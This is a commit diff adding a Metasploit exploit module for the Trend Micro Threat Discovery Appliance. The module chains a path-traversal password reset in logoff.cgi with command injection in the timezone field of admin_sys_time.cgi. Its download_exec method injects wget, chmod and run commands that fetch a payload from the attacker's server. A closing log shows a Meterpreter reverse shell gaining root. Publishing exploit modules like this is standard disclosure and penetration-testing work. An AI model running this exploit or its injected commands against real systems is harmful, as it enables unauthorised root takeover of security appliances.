|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::Remote::HttpServer |
| 13 | + include Msf::Exploit::EXE |
| 14 | + include Msf::Exploit::FileDropper |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Execution', |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance. |
| 21 | + The first is an authentication bypass vulnerability via a file delete in logoff.cgi |
| 22 | + which resets the admin password back to 'admin' upon a reboot (CVE-2016-7552). |
| 23 | + The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi |
| 24 | + interface (CVE-2016-7547). |
| 25 | +
|
| 26 | + Note: You have the option to use the authentication bypass or not since it requires |
| 27 | + that the server is rebooted. The password reset will render the authentication useless. |
| 28 | + Typically, if an administrator cant login, they will bounce the box. Therefore, this |
| 29 | + module performs a heart beat request until the box is bounced and then attempts to login |
| 30 | + and to perform the command injection. This module has been tested on version 2.6.1062r1 |
| 31 | + of the appliance. |
| 32 | + }, |
| 33 | + 'Author' => |
| 34 | + [ |
| 35 | + 'mr_me <[email protected]>', # vuln + msf |
| 36 | + 'Roberto Suggi Liverani @malerisch', # vuln + msf |
| 37 | + ], |
| 38 | + 'License' => MSF_LICENSE, |
| 39 | + 'References' => |
| 40 | + [ |
| 41 | + [ 'URL', 'https://asciinema.org/a/112480'], # demo |
| 42 | + [ 'CVE', '2016-7552'], # auth bypass |
| 43 | + [ 'CVE', '2016-7547'], # cmdi |
| 44 | + ], |
| 45 | + 'Platform' => 'linux', |
| 46 | + 'Arch' => ARCH_X86, |
| 47 | + 'Privileged' => true, |
| 48 | + 'Payload' => |
| 49 | + { |
| 50 | + 'DisableNops' => true, |
| 51 | + }, |
| 52 | + 'Targets' => |
| 53 | + [ |
| 54 | + [ 'Trend Micro Threat Discovery Appliance 2.6.1062r1', {} ] |
| 55 | + ], |
| 56 | + 'DefaultOptions' => |
| 57 | + { |
| 58 | + 'SSL' => true |
| 59 | + }, |
| 60 | + 'DefaultTarget' => 0, |
| 61 | + 'DisclosureDate' => 'Apr 10 2017')) |
| 62 | + |
| 63 | + register_options( |
| 64 | + [ |
| 65 | + Opt::RPORT(443), |
| 66 | + OptString.new('TARGETURI', [true, 'The target URI', '/']), |
| 67 | + OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']), |
| 68 | + OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]), |
| 69 | + OptBool.new('AUTHBYPASS', [ true, 'Bypass the authentication', true ]), |
| 70 | + |
| 71 | + ], self.class) |
| 72 | + end |
| 73 | + |
| 74 | + def check |
| 75 | + if do_login |
| 76 | + res = send_request_cgi({ |
| 77 | + 'uri' => normalize_uri(target_uri.path, 'cgi-bin/about.cgi'), |
| 78 | + 'cookie' => @cookie, |
| 79 | + 'method' => 'GET', |
| 80 | + }, 1) |
| 81 | + if res and res.code == 200 and res.body =~ /About Trend Micro/ |
| 82 | + version = "#{$1}" if res.body =~ /var ver_str = new String\("(.*)"\)/ |
| 83 | + case version |
| 84 | + when /2.6.1062/ |
| 85 | + return Exploit::CheckCode::Vulnerable |
| 86 | + end |
| 87 | + end |
| 88 | + end |
| 89 | + return Exploit::CheckCode::Safe |
| 90 | + end |
| 91 | + |
| 92 | + def exploit |
| 93 | + if datastore['AUTHBYPASS'] |
| 94 | + print_status("Bypassing authentication...") |
| 95 | + if reset_password |
| 96 | + print_good("The password has been reset!") |
| 97 | + print_status("Waiting for the administrator to reboot...") |
| 98 | + pwn_after_reboot |
| 99 | + end |
| 100 | + else |
| 101 | + if do_login |
| 102 | + pwn |
| 103 | + else |
| 104 | + fail_with(Failure::NoAccess, "Authentication failed") |
| 105 | + end |
| 106 | + end |
| 107 | + end |
| 108 | + |
| 109 | + def reset_password |
| 110 | + c = "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf" |
| 111 | + res = send_request_cgi({ |
| 112 | + 'uri' => normalize_uri(target_uri.path, 'cgi-bin/logoff.cgi'), |
| 113 | + 'method' => 'GET', |
| 114 | + 'cookie' => c, |
| 115 | + }) |
| 116 | + |
| 117 | + if res and res.code == 200 and res.headers.to_s =~ /Backtrace/ |
| 118 | + return true |
| 119 | + end |
| 120 | + return false |
| 121 | + end |
| 122 | + |
| 123 | + def pwn |
| 124 | + start_http_server |
| 125 | + print_good("Logged in") |
| 126 | + download_exec |
| 127 | + end |
| 128 | + |
| 129 | + def pwn_after_reboot |
| 130 | + @rebooted = false |
| 131 | + while !@rebooted |
| 132 | + if do_login |
| 133 | + @rebooted = true |
| 134 | + pwn |
| 135 | + end |
| 136 | + end |
| 137 | + end |
| 138 | + |
| 139 | + def on_request_uri(cli, request) |
| 140 | + if (not @pl) |
| 141 | + print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") |
| 142 | + return |
| 143 | + end |
| 144 | + print_status("#{rhost}:#{rport} - Sending the payload to the server...") |
| 145 | + @elf_sent = true |
| 146 | + send_response(cli, @pl) |
| 147 | + end |
| 148 | + |
| 149 | + def start_http_server |
| 150 | + @pl = generate_payload_exe |
| 151 | + @elf_sent = false |
| 152 | + |
| 153 | + downfile = rand_text_alpha(8+rand(8)) |
| 154 | + resource_uri = '/' + downfile |
| 155 | + |
| 156 | + # do not use SSL for the attacking web server |
| 157 | + if datastore['SSL'] |
| 158 | + ssl_restore = true |
| 159 | + datastore['SSL'] = false |
| 160 | + end |
| 161 | + |
| 162 | + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") |
| 163 | + srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) |
| 164 | + else |
| 165 | + srv_host = datastore['SRVHOST'] |
| 166 | + end |
| 167 | + |
| 168 | + @service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri |
| 169 | + service_url_payload = srv_host + resource_uri |
| 170 | + |
| 171 | + print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") |
| 172 | + start_service({'Uri' => { |
| 173 | + 'Proc' => Proc.new { |cli, req| |
| 174 | + on_request_uri(cli, req) |
| 175 | + }, |
| 176 | + 'Path' => resource_uri |
| 177 | + }}) |
| 178 | + |
| 179 | + datastore['SSL'] = true if ssl_restore |
| 180 | + connect |
| 181 | + end |
| 182 | + |
| 183 | + def exec(cmd) |
| 184 | + send_request_cgi({ |
| 185 | + 'uri' => normalize_uri(target_uri.path, 'cgi-bin/admin_sys_time.cgi'), |
| 186 | + 'cookie' => @cookie, |
| 187 | + 'method' => 'POST', |
| 188 | + 'vars_post' => { |
| 189 | + 'act' => 'save', |
| 190 | + 'timezone' => cmd, |
| 191 | + } |
| 192 | + }, 1) |
| 193 | + end |
| 194 | + |
| 195 | + def download_exec |
| 196 | + @bd = rand_text_alpha(8+rand(8)) |
| 197 | + register_file_for_cleanup("/tmp/#{@bd}") |
| 198 | + exec("|`wget #{@service_url} -O /tmp/#{@bd}`") |
| 199 | + exec("|`chmod 755 /tmp/#{@bd}`") |
| 200 | + exec("|`/tmp/#{@bd}`") |
| 201 | + |
| 202 | + # we need to delay, for the stager |
| 203 | + select(nil, nil, nil, 5) |
| 204 | + end |
| 205 | + |
| 206 | + def do_login |
| 207 | + |
| 208 | + begin |
| 209 | + login = send_request_cgi({ |
| 210 | + 'uri' => normalize_uri(target_uri.path, 'cgi-bin/logon.cgi'), |
| 211 | + 'method' => 'POST', |
| 212 | + 'vars_post' => { |
| 213 | + 'passwd' => datastore['PASSWORD'], |
| 214 | + 'isCookieEnable' => 1, |
| 215 | + } |
| 216 | + }) |
| 217 | + |
| 218 | + # these are needed due to the reboot |
| 219 | + rescue Rex::ConnectionRefused |
| 220 | + return false |
| 221 | + rescue Rex::ConnectionTimeout |
| 222 | + return false |
| 223 | + end |
| 224 | + if login and login.code == 200 and login.body =~ /frame\.cgi/ |
| 225 | + @cookie = "session_id=#{$1};" if login.get_cookies =~ /session_id=(.*);/ |
| 226 | + return true |
| 227 | + end |
| 228 | + return false |
| 229 | + end |
| 230 | +end |
| 231 | +=begin |
| 232 | +saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/trend.rc |
| 233 | +[*] Processing scripts/trend.rc for ERB directives. |
| 234 | +resource (scripts/trend.rc)> use exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi |
| 235 | +resource (scripts/trend.rc)> set RHOST 192.168.100.2 |
| 236 | +RHOST => 192.168.100.2 |
| 237 | +resource (scripts/trend.rc)> set payload linux/x86/meterpreter/reverse_tcp |
| 238 | +payload => linux/x86/meterpreter/reverse_tcp |
| 239 | +resource (scripts/trend.rc)> set LHOST 192.168.100.13 |
| 240 | +LHOST => 192.168.100.13 |
| 241 | +resource (scripts/trend.rc)> exploit |
| 242 | +[*] Exploit running as background job. |
| 243 | +
|
| 244 | +[*] Started reverse TCP handler on 192.168.100.13:4444 |
| 245 | +[*] Bypassing authentication... |
| 246 | +msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) > |
| 247 | +[+] The password has been reset! |
| 248 | +[*] Waiting for the reboot... |
| 249 | +[*] 192.168.100.2:443 - Starting up our web service on http://192.168.100.13:1337/nnDBuOUMuKnxP ... |
| 250 | +[*] Using URL: http://0.0.0.0:1337/nnDBuOUMuKnxP |
| 251 | +[*] Local IP: http://192.168.100.13:1337/nnDBuOUMuKnxP |
| 252 | +[+] Logged in |
| 253 | +[*] 192.168.100.2:443 - Sending the payload to the server... |
| 254 | +[*] Transmitting intermediate stager for over-sized stage...(105 bytes) |
| 255 | +[*] Sending stage (1495599 bytes) to 192.168.100.2 |
| 256 | +[*] Meterpreter session 1 opened (192.168.100.13:4444 -> 192.168.100.2:46140) at 2016-09-23 14:59:08 -0500 |
| 257 | +[+] Deleted /tmp/rpNDXQZTB |
| 258 | +[*] Server stopped. |
| 259 | +
|
| 260 | +msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) > sessions -i 1 |
| 261 | +[*] Starting interaction with 1... |
| 262 | +
|
| 263 | +meterpreter > shell |
| 264 | +Process 3846 created. |
| 265 | +Channel 1 created. |
| 266 | +
|
| 267 | +
|
| 268 | +BusyBox v1.00 (2010.10.13-06:52+0000) Built-in shell (ash) |
| 269 | +Enter 'help' for a list of built-in commands. |
| 270 | +
|
| 271 | +/bin/sh: can't access tty; job control turned off |
| 272 | +/opt/TrendMicro/MinorityReport/www/cgi-bin # id |
| 273 | +id |
| 274 | +uid=0(root) gid=0(root) |
| 275 | +/opt/TrendMicro/MinorityReport/www/cgi-bin # |
| 276 | +=end |
0 commit comments